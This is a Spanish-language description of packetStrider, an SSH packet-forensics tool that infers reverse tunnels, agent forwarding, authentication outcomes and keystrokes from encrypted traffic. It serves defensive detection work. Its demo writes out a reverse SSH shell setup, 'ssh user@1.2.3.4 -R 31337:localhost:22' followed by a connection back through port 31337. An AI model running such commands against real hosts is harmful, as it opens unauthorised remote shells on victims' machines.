packetStrider para SSH es una herramienta forense de paquetes que tiene como objetivo proporcionar una valiosa visión de la naturaleza del tráfico SSH, iluminando los rincones del tráfico de red SSH donde las pepitas de oro de la información se encontraban previamente en la oscuridad.
El Problema al que Pretende Ayudar Packet Strider
Obviamente, SSH está encriptado, pero sigue existiendo una valiosa información contextual dentro del tráfico de red que puede orientarse hacia la TTP, la intención, el éxito y la magnitud de las acciones sobre los objetivos. Incluso pueden existir situaciones en las que el contexto valioso no está disponible o se elimina de los hosts, por lo que tener una captura de red pasiva inmutable e inalterable proporciona un contexto forense adicional. “Los paquetes no mienten”.
Aparte del contexto forense, las predicciones del Packet Strider también podrían utilizarse de forma activa, por ejemplo para eludir/RST las conexiones de reenvío si se predice una función de inicio de sesión SSH inversa en el túnel, incluso antes de que se ofrezca la autenticación inversa.
Las Amplias Técnicas de Packet Strider
- Construye un rico conjunto de características en forma de pandas dataframes. Más de 40 características son diseñadas a partir de metadatos de paquetes como el contenido de mensajes del Protocolo SSH, estadísticas normalizadas, dirección, tamaño, latencia y características de ventanas deslizantes.
- Recorre este conjunto de características numerosas veces utilizando ventanas deslizantes (inspiradas en las redes neuronales convolucionales – ConvNet/CNN) para predecir:
- El uso de la opción
-R
en la sesión de reenvío – esto es lo que permite realizar una conexión inversa más adelante en la sesión. Este artefacto se descubre muy pronto en la sesión, directamente después de que la sesión de avance se autentique. Esta es la primera señal de advertencia disponible de que las sesiones inversas son posibles. - Inicio de la sesión SSH inversa, esto puede ocurrir en cualquier momento (temprano o tarde) en la sesión de reenvío. Esto se descubre antes de que la sesión inversa se autentique con éxito. Esta es la segunda señal de advertencia, ya que se acaba de solicitar y configurar una sesión inversa para la autenticación.
- Éxito y/o fracaso de la autenticación de la sesión inversa. Esta es la tercera y última señal de advertencia, después de este punto sabes que alguien está en tu host, dentro de una sesión inversa.
- El uso de la opción
-A
(SSH Agent Forwarding), que permite al cliente compartir sus claves privadas SSH locales con el servidor. Esta funcionalidad se considera generalmente peligrosa. (Referencia) - Todas las predicciones y los informes de metadatos sobre una base de flujo por flujo.
- Si se utilizó un certificado de cliente o una contraseña de autenticación, y si la longitud de la contraseña es de 8 caracteres o menos.
- Pulsaciones de teclas, pulsaciones de teclas de borrado, pulsaciones de teclas de entrada (cortar y pegar y arriba/abajo es YMMV/experimental).
- Funciona en sesiones interactivas, así como en aplicaciones de transferencia de archivos SSH (por ejemplo, scp, putty, cyberduck, etc).
- El uso de la opción
Cómo Empezar
Se ha utilizado Python3, y necesitarás los siguientes módulos (YMMV en python2)
pip3 install pandas matplotlib pyshark
Uso:
python3 packetStrider-ssh.py -h
Salida:
usage: packetStrider-ssh.py [-h] [-f FILE] [-n NSTREAM] [-m] [-k] [-p]
[-z ZOOM] [-d DIRECTION] [-o OUTPUT_DIR]
[-w WINDOW] [-s STRIDE]
packetStrider-ssh is a packet forensics tool for SSH. It creates a rich
feature set from packet metadata such SSH Protocol message content, direction,
size, latency and sequencing. It performs pattern matching on these features,
using statistical analysis, and sliding windows to predict session initiation,
keystrokes, human/script behavior, password length, use of client
certificates, context into the historic nature of client/server contact and
exfil/infil data movement characteristics in both Forward and Reverse sessions
optional arguments:
-h, --help show this help message and exit
-f FILE, --file FILE pcap file to analyze
-n NSTREAM, --nstream NSTREAM
Perform analysis only on stream n
-m, --metaonly Display stream metadata only
-k, --keystrokes Perform keystroke prediction
-p, --predict_plot Plot data movement and keystrokes
-z ZOOM, --zoom ZOOM Narrow down/zoom the analysis and plotting to only
packets "x-y"
-d DIRECTION, --direction DIRECTION
Perform analysis on SSH direction : "forward",
"reverse" OR "both"
-o OUTPUT_DIR, --output_dir OUTPUT_DIR
Directory to output plots
-w WINDOW, --window WINDOW
Sliding window size, # of packets to side of window
center packet, default is 2
-s STRIDE, --stride STRIDE
Stride between sliding windows, default is 1
Ejemplo
El pcap “forward_reverse.pcap” es de un TTP común de un shell SSH inverso, un favorito de los equipos rojos de todo el mundo. Específicamente se utilizaron los siguientes comandos, para resaltar las capacidades del Packet Strider de manera sencilla:
- Conexión de reenvío desde la víctima
- El comando para la sesión de reenvío fue
ssh user@1.2.3.4 -R 31337:localhost:22
que vincula el puerto local 31337 listo para la conexión SSH inversa de vuelta al PC de la víctima. Esta conexión puede ser efectuada de muchas maneras incluyendo manualmente, por un RCE, SSRF, o alguna forma de persistencia. Para el propósito de esta demostración, se trata de una sesión manual de reenvío estándar. - Esta NO fue la primera vez que el cliente ha visto el servidor , vemos esto porque el delta de los paquetes relacionados fue muy pequeño , la huella de la clave del servidor ya estaba en el known_hosts del cliente, por lo que el usuario no se le pidió que lo agregara – lo que aumentaría la latencia de los paquetes.
- Dos inicios de sesión con contraseña fallidos consecutivos por parte de un humano, seguidos de un inicio de sesión exitoso con una contraseña de más de 8 caracteres.
- Se teclea
ls
en la sesión de avance, en esta secuencia: ‘l’ ‘w’ ‘w’ ‘back-space’ ‘back-space’ ‘s’ y luego enter. El tamaño total de los datos sobre el cable que se transmite (como la salida de ls) se clasifica como infiltración, dado que es de entrada.
- El comando para la sesión de reenvío fue
- Ahora, en la máquina del atacante (el servidor), se inicia una shell inversa hacia la víctima:
ssh victim@localhost -p 31337
. En este punto, que es incluso antes de que comience el proceso de autenticación, el Packet Strider ha identificado el inicio de sesión inversa SSH, en el paquete 72- Ahora el atacante tiene un shell inverso en el host víctima. Desde aquí pueden desactivar la configuración del historial, y ejecutar cualquier movimiento lateral que deseen. Los ejemplos simples en esta demostración son el reconocimiento inicial de usuarios.
last
se ejecuta en forma de pulsaciones de teclas ‘l’ ‘a’ ‘s’ ‘r’ ‘delete’ ‘t’ ‘enter’who
is rse ejecuta en forma de ‘w’ ‘h’ ‘o’ ‘enter’exit
se ejecuta en forma de ‘e’ ‘x’ ‘i’ ‘t’
- Finalmente, con la sesión Forward se cierra la sesión, sólo para demostrar que la detección de la característica SSH Forward sigue funcionando.
exit
El tráfico de red de esta actividad se guarda en tcpdump.pcap y ahora es el momento de ejecutar Packet Strider.
python3 packetStrider-ssh.py -f tcpdump.pcap -k -p -o out
Este gráfico muestra una línea de tiempo de las principales predicciones: (la imagen tiene anotaciones)
Este gráfico muestra algunas estadísticas de las ventanas, útiles para una inmersión profunda y para experimentar con las características.
Este gráfico muestra un simple histograma:
Consejos
Packet Strider hace una gran cantidad de “striding” en el modo de capacidad completa. Esto puede resultar en un uso sustancial de recursos si el pcap es grande, o más precisamente si hay muchos paquetes en el pcap. Aquí hay algunos consejos para acelerar, estos son particularmente útiles como una ejecución inicial, por ejemplo, sólo para ver si se predijo la actividad inversa de SSH, y luego añadir la funcionalidad si lo deseas.
- Asegúrate de que estás corriendo con los últimos parches de los módulos que hacen algo de trabajo pesado, por ejemplo, pyshark/tshark, pandas y matplotlib.
- La opción
-p --predict_plot
es la operación más intensiva. Piensa en ejecutar sólo la salida en la terminal, y luego ve si quieres que se grafique. - Utiliza la opción
-m --metaonly
. Esto sólo recupera los metadatos de alto nivel, como los nombres de los protocolos y los datos HASSH. Esto puede ser útil para determinar rápidamente si se trata de una sesión interactiva usando OpenSSH, o con un cliente de transferencia de archivos como Cyberduck. - Pre-filtra el pcap al tráfico ssh.
- Pre-filtra el pcap al flujo que quieras, que puedes haber aprendido ejecutando previamente con la opción speedy
-m --metaonly
. Puedes examinar sólo el flujo “NSTREAM” con la opción “-n NSTREAM
“, o puedes pre-filtrar con Wireshark, etc. - Puede haber ocasiones en las que identifique algo interesante en un subconjunto de un conjunto de paquetes muy grande. Aquí puedes usar la función de zoom para examinar y trazar sólo los paquetes en la región que te interesa. Usa
-z ZOOM
,--zoom ZOOM
para esto. Ej.-z 100-500
- La mayoría de las veces estarás interesado en entender la actividad de las pulsaciones de teclas, así que aunque no usar la opción
-k
ahorrará velocidad de procesamiento, también significa que no obtendrás esta valiosa información.
https://github.com/benjeems/packetStrider